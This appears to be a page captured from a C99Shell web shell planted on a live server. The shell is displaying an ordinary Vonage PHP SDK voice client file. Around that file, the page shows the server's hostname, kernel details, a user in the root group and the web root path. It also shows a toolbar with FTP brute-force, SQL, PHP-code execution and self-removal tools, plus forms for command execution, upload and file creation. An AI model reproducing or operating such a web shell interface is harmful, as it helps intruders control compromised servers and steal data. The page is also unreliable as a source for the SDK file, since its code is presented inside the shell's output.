!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/vonage/client-core/src/Voice/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Client.php (7.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Vonage\Voice;

use 
DateTimeImmutable;
use 
DateTimeZone;
use 
Exception;
use 
Psr\Http\Client\ClientExceptionInterface;
use 
Psr\Http\Message\StreamInterface;
use 
Vonage\Client\APIClient;
use 
Vonage\Client\APIResource;
use 
Vonage\Entity\Filter\FilterInterface;
use 
Vonage\Entity\Hydrator\ArrayHydrator;
use 
Vonage\Entity\IterableAPICollection;
use 
Vonage\Voice\NCCO\Action\Talk;
use 
Vonage\Voice\NCCO\NCCO;
use 
Vonage\Voice\Webhook\Event;

use function 
is_null;

class 
Client implements APIClient
{
    public function 
__construct(protected APIResource $api)
    {
    }

    public function 
getAPIResource(): APIResource
    
{
        return 
$this->api;
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws \Vonage\Client\Exception\Exception
     * @throws Exception
     * @throws Exception
     *
     * @return Event {uuid: string, conversation_uuid: string, status: string, direction: string}
     */
    
public function createOutboundCall(OutboundCall $call): Event
    
{
        
$json = [
            
'to' => [$call->getTo()],
        ];

        if (
$call->getFrom()) {
            
$json['from'] = $call->getFrom();
        } else {
            
$json['random_from_number'] = true;
        }

        if (
null !== $call->getAnswerWebhook()) {
            
$json['answer_url'] = [$call->getAnswerWebhook()->getUrl()];
            
$json['answer_method'] = $call->getAnswerWebhook()->getMethod();
        }

        if (
null !== $call->getEventWebhook()) {
            
$json['event_url'] = [$call->getEventWebhook()->getUrl()];
            
$json['event_method'] = $call->getEventWebhook()->getMethod();
        }

        if (
null !== $call->getNCCO()) {
            
$json['ncco'] = $call->getNCCO();
        }

        if (
$call->getMachineDetection()) {
            
$json['machine_detection'] = $call->getMachineDetection();
        }

        if (!
is_null($call->getLengthTimer())) {
            
$json['length_timer'] = (string)$call->getLengthTimer();
        }

        if (!
is_null($call->getRingingTimer())) {
            
$json['ringing_timer'] = (string)$call->getRingingTimer();
        }

        if (!
is_null($call->getAdvancedMachineDetection())) {
            
$json['advanced_machine_detection'] = $call->getAdvancedMachineDetection()->toArray();
        }

        
$event $this->api->create($json);
        
$event['to'] = $call->getTo()->getId();
        if (
$call->getFrom()) {
            
$event['from'] = $call->getFrom()->getId();
        }
        
$event['timestamp'] = (new DateTimeImmutable("now", new DateTimeZone("UTC")))->format(DATE_ATOM);

        return new 
Event($event);
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws \Vonage\Client\Exception\Exception
     */
    
public function earmuffCall(string $callId): void
    
{
        
$this->modifyCall($callIdCallAction::EARMUFF);
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws \Vonage\Client\Exception\Exception
     * @throws Exception
     */
    
public function get(string $callId): Call
    
{
        return (new 
CallFactory())->create($this->api->get($callId));
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws \Vonage\Client\Exception\Exception
     */
    
public function hangupCall(string $callId): void
    
{
        
$this->modifyCall($callIdCallAction::HANGUP);
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws \Vonage\Client\Exception\Exception
     */
    
public function modifyCall(string $callIdstring $action): void
    
{
        
$this->api->update($callId, [
            
'action' => $action,
        ]);
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws \Vonage\Client\Exception\Exception
     */
    
public function muteCall(string $callId): void
    
{
        
$this->modifyCall($callIdCallAction::MUTE);
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws \Vonage\Client\Exception\Exception
     *
     * @return array{uuid: string, message: string}
     */
    
public function playDTMF(string $callIdstring $digits): array
    {
        return 
$this->api->update($callId '/dtmf', [
            
'digits' => $digits
        
]);
    }

    public function 
subscribeToDtmfEventsById(string $id, array $payload): bool
    
{
        
$this->api->update($id '/input/dtmf', [
            
'eventUrl' => $payload
        
]);

        return 
true;
    }

    public function 
unsubscribeToDtmfEventsById(string $id): bool
    
{
        
$this->api->delete($id '/input/dtmf');

        return 
true;
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws \Vonage\Client\Exception\Exception
     *
     * @return array{uuid: string, message: string}
     */
    
public function playTTS(string $callIdTalk $action): array
    {
        
$payload $action->toNCCOArray();
        unset(
$payload['action']);

        return 
$this->api->update($callId '/talk'$payload);
    }

    public function 
search(?FilterInterface $filter null): IterableAPICollection
    
{
        
$response $this->api->search($filter);
        
$response->setApiResource(clone $this->api);
        
$response->setNaiveCount(true);

        
$hydrator = new ArrayHydrator();
        
$hydrator->setPrototype(new Call());

        
$response->setHydrator($hydrator);

        return 
$response;
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws \Vonage\Client\Exception\Exception
     *
     * @return array{uuid: string, message: string}
     */
    
public function stopStreamAudio(string $callId): array
    {
        return 
$this->api->delete($callId '/stream');
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws \Vonage\Client\Exception\Exception
     *
     * @return array{uuid: string, message: string}
     */
    
public function stopTTS(string $callId): array
    {
        return 
$this->api->delete($callId '/talk');
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws \Vonage\Client\Exception\Exception
     *
     * @return array{uuid: string, message: string}
     */
    
public function streamAudio(string $callIdstring $urlint $loop 1float $volumeLevel 0.0): array
    {
        return 
$this->api->update($callId '/stream', [
            
'stream_url' => [$url],
            
'loop' => (string)$loop,
            
'level' => (string)$volumeLevel,
        ]);
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws \Vonage\Client\Exception\Exception
     */
    
public function transferCallWithNCCO(string $callIdNCCO $ncco): void
    
{
        
$this->api->update($callId, [
            
'action' => 'transfer',
            
'destination' => [
                
'type' => 'ncco',
                
'ncco' => $ncco->toArray()
            ],
        ]);
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws \Vonage\Client\Exception\Exception
     */
    
public function transferCallWithUrl(string $callIdstring $url): void
    
{
        
$this->api->update($callId, [
            
'action' => 'transfer',
            
'destination' => [
                
'type' => 'ncco',
                
'url' => [$url]
            ]
        ]);
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws \Vonage\Client\Exception\Exception
     */
    
public function unearmuffCall(string $callId): void
    
{
        
$this->modifyCall($callIdCallAction::UNEARMUFF);
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws \Vonage\Client\Exception\Exception
     */
    
public function unmuteCall(string $callId): void
    
{
        
$this->modifyCall($callIdCallAction::UNMUTE);
    }

    public function 
getRecording(string $url): StreamInterface
    
{
        return 
$this->getAPIResource()->get($url, [], [], falsetrue);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--